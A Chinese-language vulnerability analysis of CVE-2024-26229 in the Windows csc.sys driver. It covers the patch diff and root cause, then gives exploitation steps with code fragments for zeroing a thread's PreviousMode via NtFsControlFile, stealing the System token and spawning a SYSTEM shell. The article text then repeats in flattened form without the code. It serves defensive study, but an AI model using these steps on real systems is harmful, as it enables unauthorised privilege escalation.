cve-2024-26229 漏洞分析
字数 1602 2025-08-19 12:41:34

CVE-2024-26229 Windows内核漏洞分析与利用技术

漏洞概述

CVE-2024-26229是Windows内核中csc.sys驱动的一个安全漏洞,属于任意地址写0漏洞。该漏洞存在于Windows的Client Side Caching (CSC)服务中,攻击者可以利用此漏洞提升权限至SYSTEM级别。

背景知识

Client Side Caching (CSC)服务

Windows支持多种基于网络的文件服务系统(SMB/WebDAV等),CSC服务允许程序在离线状态下保留对远程文件的修改,并在网络恢复后同步数据。csc.sys是实现该服务的核心模块,属于内核网络迷你重定向(Mini-Redirector)驱动。

NtFsControlFile与IRP机制

Windows内核使用IRP(I/O Request Package)实现用户态与内核态的通信:

  • IRP_MJ_DEVICE_CONTROL:用于与特定设备通信(用户态通过DeviceIoControl调用)
  • IRP_MJ_FILE_SYSTEM_CONTROL:用于文件系统操作(用户态通过NtFsControlFile调用)

NtFsControlFile函数原型:

NtFsControlFile(
  IN HANDLE FileHandle,
  IN HANDLE Event OPTIONAL,
  IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  IN ULONG FsControlCode,
  IN PVOID InputBuffer OPTIONAL,
  IN ULONG InputBufferLength,
  OUT PVOID OutputBuffer OPTIONAL,
  IN ULONG OutputBufferLength);

内存传输模式

Windows定义了三种内存传输模式,由FSCTL/IOCTL的最低两位决定:

  1. METHOD_BUFFERED (0):

    • Windows申请内核内存维护输入输出
    • 最安全,内核会验证缓冲区大小和权限
  2. METHOD_IN_DIRECT/METHOD_OUT_DIRECT (1/2):

    • 效率较高,使用MDL映射用户内存
    • 需要驱动自行保护DIRECT侧数据
  3. METHOD_NEITHER (3):

    • 直接使用用户态地址
    • Windows不做任何检查,完全由驱动验证

漏洞分析

漏洞位置

漏洞存在于csc.sys驱动的CscDevFcbXXXControlFile函数中,处理FSCTL码0x1401A3时。

补丁对比

补丁前代码:

if (a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_) {
    if (a1->FsControlCode == 0x1401A3) {
        Type3InputBuffer = a1->Type3InputBuffer;
        v4 = 0;
        a1->t23 = 0i64;
        *(_QWORD *)(Type3InputBuffer + 24) = 0i64;
    }
}

补丁后代码:

if (a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_) {
    v10 = *(_QWORD *)(FSCtx + 40);
    if (a1->FsControlCode == 0x1401A3) {
        if ((unsigned int)Feature_1275465022__private_IsEnabledDeviceUsage()) {
            InputBufferLength = a1->InputBufferLength;
            a1->t23 = 0i64;
            if (InputBufferLength < 0x24) {
                v2 = -1073741789;
            } else {
                Type3InputBuffer = a1->Type3InputBuffer;
                if (a1->irp->RequestorMode)
                    ProbeForWrite((volatile void *)a1->Type3InputBuffer, InputBufferLength, 4u);
                if (*(_DWORD *)(Type3InputBuffer + 4) == 6) {
                    *(_QWORD *)(Type3InputBuffer + 24) = 0i64;
                    v2 = 0;
                } else {
                    v2 = -1073741811;
                }
            }
        }
    }
}

漏洞成因

  1. 使用METHOD_NEITHER传输模式(FSCTL码最后两位为3)
  2. 未对用户提供的Type3InputBuffer进行充分验证:
    • 未检查输入缓冲区长度(补丁后要求≥0x24)
    • 未验证用户态指针有效性(补丁后增加ProbeForWrite)
  3. 导致可以向任意地址写入0值

漏洞利用技术

PreviousMode利用技巧

Windows线程的PreviousMode字段决定安全检查级别:

typedef enum _MODE {
    KernelMode,
    UserMode,
    MaximumMode
} MODE;

关键点:

  • 用户态发起的请求PreviousModeUserMode
  • 内核态发起的请求PreviousModeKernelMode
  • NtRead/WriteVirtualMemoryKernelMode下不检查地址空间

利用步骤

  1. 泄露内核对象地址

    • 使用NtQuerySystemInformation泄露System进程的EPROCESS
    • 获取当前线程的ETHREAD
  2. 触发漏洞修改PreviousMode

    status = NtFsControlFile(
        handle, NULL, NULL, NULL, &iosb, 
        CSC_DEV_FCB_XXX_CONTROL_FILE, 
        (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 
        0, NULL, 0);
    
  3. 特权提升

    • 使用无检查的读写操作将System进程的Token复制到当前进程
    Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
    
  4. 恢复PreviousMode

    Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
    
  5. 生成SYSTEM shell

    system("cmd.exe");
    

新版本Windows的限制

较新Windows版本已修复NtQuerySystemInformation的句柄泄露问题,需要寻找其他攻击原语:

  • 其他内核信息泄露方法
  • 替代的提权技术

防御建议

  1. 及时安装微软安全更新
  2. 禁用不必要的网络文件服务
  3. 启用内核模式代码签名验证
  4. 使用受控文件夹访问等缓解措施

参考资源

  1. Windows内核驱动开发与安全
  2. Microsoft安全公告
  3. Microsoft文档: PreviousMode
  4. CVE-2024-26229 PoC
CVE-2024-26229 Windows内核漏洞分析与利用技术 漏洞概述 CVE-2024-26229是Windows内核中csc.sys驱动的一个安全漏洞,属于任意地址写0漏洞。该漏洞存在于Windows的Client Side Caching (CSC)服务中,攻击者可以利用此漏洞提升权限至SYSTEM级别。 背景知识 Client Side Caching (CSC)服务 Windows支持多种基于网络的文件服务系统(SMB/WebDAV等),CSC服务允许程序在离线状态下保留对远程文件的修改,并在网络恢复后同步数据。csc.sys是实现该服务的核心模块,属于内核网络迷你重定向(Mini-Redirector)驱动。 NtFsControlFile与IRP机制 Windows内核使用IRP(I/O Request Package)实现用户态与内核态的通信: IRP_MJ_DEVICE_CONTROL :用于与特定设备通信(用户态通过DeviceIoControl调用) IRP_MJ_FILE_SYSTEM_CONTROL :用于文件系统操作(用户态通过NtFsControlFile调用) NtFsControlFile函数原型: 内存传输模式 Windows定义了三种内存传输模式,由FSCTL/IOCTL的最低两位决定: METHOD_ BUFFERED (0): Windows申请内核内存维护输入输出 最安全,内核会验证缓冲区大小和权限 METHOD_ IN_ DIRECT/METHOD_ OUT_ DIRECT (1/2): 效率较高,使用MDL映射用户内存 需要驱动自行保护DIRECT侧数据 METHOD_ NEITHER (3): 直接使用用户态地址 Windows不做任何检查,完全由驱动验证 漏洞分析 漏洞位置 漏洞存在于csc.sys驱动的 CscDevFcbXXXControlFile 函数中,处理FSCTL码 0x1401A3 时。 补丁对比 补丁前代码 : 补丁后代码 : 漏洞成因 使用 METHOD_NEITHER 传输模式(FSCTL码最后两位为3) 未对用户提供的 Type3InputBuffer 进行充分验证: 未检查输入缓冲区长度(补丁后要求≥0x24) 未验证用户态指针有效性(补丁后增加 ProbeForWrite ) 导致可以向任意地址写入0值 漏洞利用技术 PreviousMode利用技巧 Windows线程的 PreviousMode 字段决定安全检查级别: 关键点: 用户态发起的请求 PreviousMode 为 UserMode 内核态发起的请求 PreviousMode 为 KernelMode NtRead/WriteVirtualMemory 在 KernelMode 下不检查地址空间 利用步骤 泄露内核对象地址 : 使用 NtQuerySystemInformation 泄露System进程的 EPROCESS 获取当前线程的 ETHREAD 触发漏洞修改PreviousMode : 特权提升 : 使用无检查的读写操作将System进程的Token复制到当前进程 恢复PreviousMode : 生成SYSTEM shell : 新版本Windows的限制 较新Windows版本已修复 NtQuerySystemInformation 的句柄泄露问题,需要寻找其他攻击原语: 其他内核信息泄露方法 替代的提权技术 防御建议 及时安装微软安全更新 禁用不必要的网络文件服务 启用内核模式代码签名验证 使用受控文件夹访问等缓解措施 参考资源 Windows内核驱动开发与安全 Microsoft安全公告 Microsoft文档: PreviousMode CVE-2024-26229 PoC